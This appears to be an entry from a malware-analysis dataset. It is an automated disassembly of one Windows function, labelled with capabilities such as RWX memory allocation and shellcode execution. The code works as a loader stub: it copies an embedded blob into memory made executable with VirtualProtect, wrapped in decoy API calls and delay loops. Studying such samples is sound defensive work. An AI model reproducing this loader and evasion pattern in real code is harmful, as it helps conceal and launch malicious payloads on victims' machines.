Function at 0x403520
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc54
push ebx
push esi
push edi
xor edi, edi
cmp dword [0x59d100], 0x5b1
jne 0x4035b9
push edi
lea eax, [ebp - 0x450]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push dword [ebp - 4]
push 0x402df8
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push edi
push edi
push edi
call sub.USER32.dll_DdeSetQualityOfService
push edi
push edi
push edi
push edi
call fcn.00404087
add esp, 0x10
lea esi, [ebp - 0x10]
call fcn.004031c0
mov ecx, esi
call fcn.004031e0
push edi
call fcn.00403bb8
pop ecx
push edi
push edi
call fcn.00403bc3
push edi
call fcn.00403cf5
pop ecx
pop ecx
mov dword [esp], edi
call fcn.0040322d
fstp st(0)
push edi
call fcn.00403cf5
pop ecx
call fcn.004041d1
add dword [0x59d100], 0x1134b
push dword [0x59d100]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x59d100]
mov dword [0x59c054], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x403609
inc esi
cmp esi, 0x4f6a4
jl 0x4035f0
xor esi, esi
cmp dword [0x59d100], edi
jbe 0x40366d
cmp dword [0x59d100], 0xa8
mov eax, dword [0x59d104]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x59c054]
mov byte [ecx + esi], al
jne 0x403664
push 0x402e78
push 0x402ea4
push 0x402ed4
push 0x402f0c
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0x402f20
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0x402fa4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
inc esi
cmp esi, dword [0x59d100]
jb 0x403613
xor esi, esi
mov eax, dword [0x59d100]
add eax, esi
cmp eax, 0xe
jne 0x4036a8
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0x30
lea eax, [ebp - 0x4c]
push edi
push eax
mov dword [ebp - 0x50], edi
call fcn.00407fe0
add esp, 0xc
push edi
lea eax, [ebp - 0x50]
push eax
push 0x402fb4
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
inc esi
cmp esi, 0x39621
jl 0x40366f
mov esi, 0x1e6cc
push edi
push edi
call dword [sym.imp.USER32.dll_LoadMenuA]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x4036b6
call fcn.00403462
call ebx
cmp esi, 0x26
jne 0x4036e8
call fcn.00403506
inc esi
cmp esi, 0x6753f
jl 0x4036dc
push 0x7b
pop esi
cmp dword [0x59d100], 0x86
jne 0x403747
lea eax, [ebp - 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push edi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push edi
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push edi
lea eax, [ebp - 0xc50]
push eax
push edi
push 0x402fc0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
dec esi
jne 0x4036f4
push 0x402fd8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
leave
ret